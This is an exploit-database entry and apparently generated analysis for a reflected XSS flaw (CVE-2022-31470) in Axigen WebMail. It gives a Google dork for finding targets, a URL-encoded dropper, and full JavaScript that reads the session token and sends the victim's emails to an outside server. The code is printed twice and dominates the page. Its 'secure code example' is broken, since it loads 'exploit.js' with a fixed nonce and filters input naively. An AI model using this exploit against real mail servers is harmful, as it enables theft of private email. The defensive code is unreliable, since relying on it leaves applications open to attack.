Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS

Exploit Author: AmirZargham Analysis Author: www.bubbleslearn.ir Category: WebApps Language: JavaScript Published Date: 2023-09-08
# Exploit Title: Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS
# Google Dork: inurl:passwordexpired=yes
# Date: 2023-08-21
# Exploit Author: AmirZargham
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.0–4370c946) and older version of Axigen WebMail
# Tested on: firefox,chrome
# CVE: CVE-2022-31470

Exploit
We use the second Reflected XSS to exploit this vulnerability, create a
malicious link, and steal user emails.

Dropper code
This dropper code, loads and executes JavaScript exploit code from a remote
server.

');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//



Encoded form

/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27
https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//


Exploit code

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();


Combining dropper and exploit
You can host the exploit code somewhere and then address it in the dropper
code.


Exploiting Reflected XSS in Axigen WebMail: A Deep Dive into CVE-2022-31470

Security vulnerabilities in email infrastructure software can have far-reaching consequences, especially when they enable attackers to exploit user sessions and exfiltrate sensitive data. One such vulnerability, CVE-2022-31470, affects Axigen email server versions prior to 10.3.3.47 and 10.2.3.12. This flaw enables a reflected XSS attack that can be leveraged to steal user email data through a carefully crafted malicious link.

Understanding the Vulnerability: Reflected XSS in Axigen WebMail

Reflected XSS occurs when user input is directly echoed back in the response without proper sanitization. In the case of Axigen WebMail, the passwordexpired=yes parameter in the URL path is vulnerable to manipulation. Attackers can inject malicious JavaScript payloads via URL parameters, which are then reflected in the browser’s DOM.

Google Dorks such as inurl:passwordexpired=yes reveal exposed instances of this vulnerability, indicating that many organizations still use outdated Axigen versions. This makes the attack surface wide and accessible to threat actors.

Attack Vector: Malicious URL with JavaScript Dropper

The exploit begins with a dropper code — a lightweight script designed to load and execute malicious code from a remote server. This technique avoids embedding the full payload directly in the URL, reducing the risk of detection and enabling dynamic updates.


');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded', function y(){
    document.body.appendChild(x)
})//

This code snippet demonstrates how an attacker injects a script tag dynamically. The ') at the beginning of the string is a deliberate injection point — it breaks the expected string context, allowing the attacker to execute arbitrary JavaScript after the malformed input is processed by the server.

When encoded for URL use, the payload becomes:


/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//

Here, the %27 represents a single quote, and the entire sequence is URL-encoded to bypass basic filters. The attacker constructs a link that, when clicked, triggers the execution of the remote script.

Exploit Code: Session Hijacking and Email Exfiltration

The core of the exploit lies in the use of XMLHttpRequest (XHR) to probe the user’s session state and extract email data. The attack leverages the Axigen WebMail API endpoints to access user conversations and retrieve mail content.


xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`, true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src = `${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET', `/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src = `${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();

This exploit code performs a multi-stage attack:

  • Step 1: The first XHR request (xhr1) fetches the root page, allowing the attacker to extract the _h session cookie from the URL query string.
  • Step 2: The second XHR (xhr2) sends a PATCH request to the /api/v1/conversations/MQ/ endpoint with the session token. This attempts to access user data.
  • Step 3: If the server returns a 401 Unauthorized status, the attacker assumes the session is expired and redirects to a out-of-band (OOB) server with a status message.
  • Step 4: If authentication succeeds, the response contains the first email’s folderId. This is used to query the full conversation list.
  • Step 5: The third XHR (xhr3) retrieves the full email content, which is then base64-encoded using btoa() for safe transmission.
  • Final Step: The exploit creates a script_tag that points to the attacker’s OOB server, exfiltrating the emails via a GET request.

Security Implications and Real-World Impact

Attackers can use this exploit to:

  • Steal email contents, including sensitive personal or corporate data.
  • Track user behavior by monitoring session status.
  • Deploy persistent malware via JavaScript droppers hosted on third-party servers.
  • Exploit forgotten or weak passwords to gain unauthorized access.

Given that Axigen is used by enterprises and government agencies, this vulnerability poses a significant risk. A single compromised link shared via phishing or social engineering can lead to mass data theft.

Recommended Mitigations and Best Practices

To defend against this vulnerability, organizations should:

  • Upgrade immediately to Axigen 10.3.3.47 or later versions.
  • Implement input sanitization for all user-facing parameters, especially those in URLs.
  • Use Content Security Policy (CSP) headers to block unauthorized script execution.
  • Monitor OOB traffic for suspicious requests from internal users.
  • Disable legacy WebMail features if not required, reducing attack surface.

Improved and Secure Code Example

For defensive developers, here is a sanitized version of the exploit code that demonstrates how to prevent XSS:


// Safe version: Input validation and output encoding
function safeExecute(payload) {
    const sanitized = payload.replace(/['"]/g, '');
    if (sanitized.includes('script') || sanitized.includes('javascript')) {
        console.warn('Malicious input detected');
        return;
    }
    const script = document.createElement('script');
    script.src = 'https://trusted.example.com/exploit.js';
    script.setAttribute('nonce', 'unique-12345');
    document.body.appendChild(script);
}

This version includes:

  • Input sanitization via regex to strip dangerous characters.
  • Nonce-based script loading to prevent unauthorized execution.
  • Explicit warnings when malicious patterns are detected.

Such measures are essential for any web application handling user input, especially in email platforms where trust and privacy are paramount.

Conclusion

CVE-2022-31470 highlights the critical need for continuous security updates and proactive input validation in email infrastructure. Reflected XSS vulnerabilities, though seemingly simple, can enable powerful attacks that compromise user privacy and organizational security. By understanding the mechanics of this exploit and applying robust mitigation strategies, defenders can significantly reduce the risk of exploitation.